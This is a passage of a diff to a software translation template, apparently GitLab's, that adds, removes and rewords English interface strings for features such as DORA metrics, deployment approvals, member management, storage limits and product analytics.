@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,16 +17565,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -24857,6 +25110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
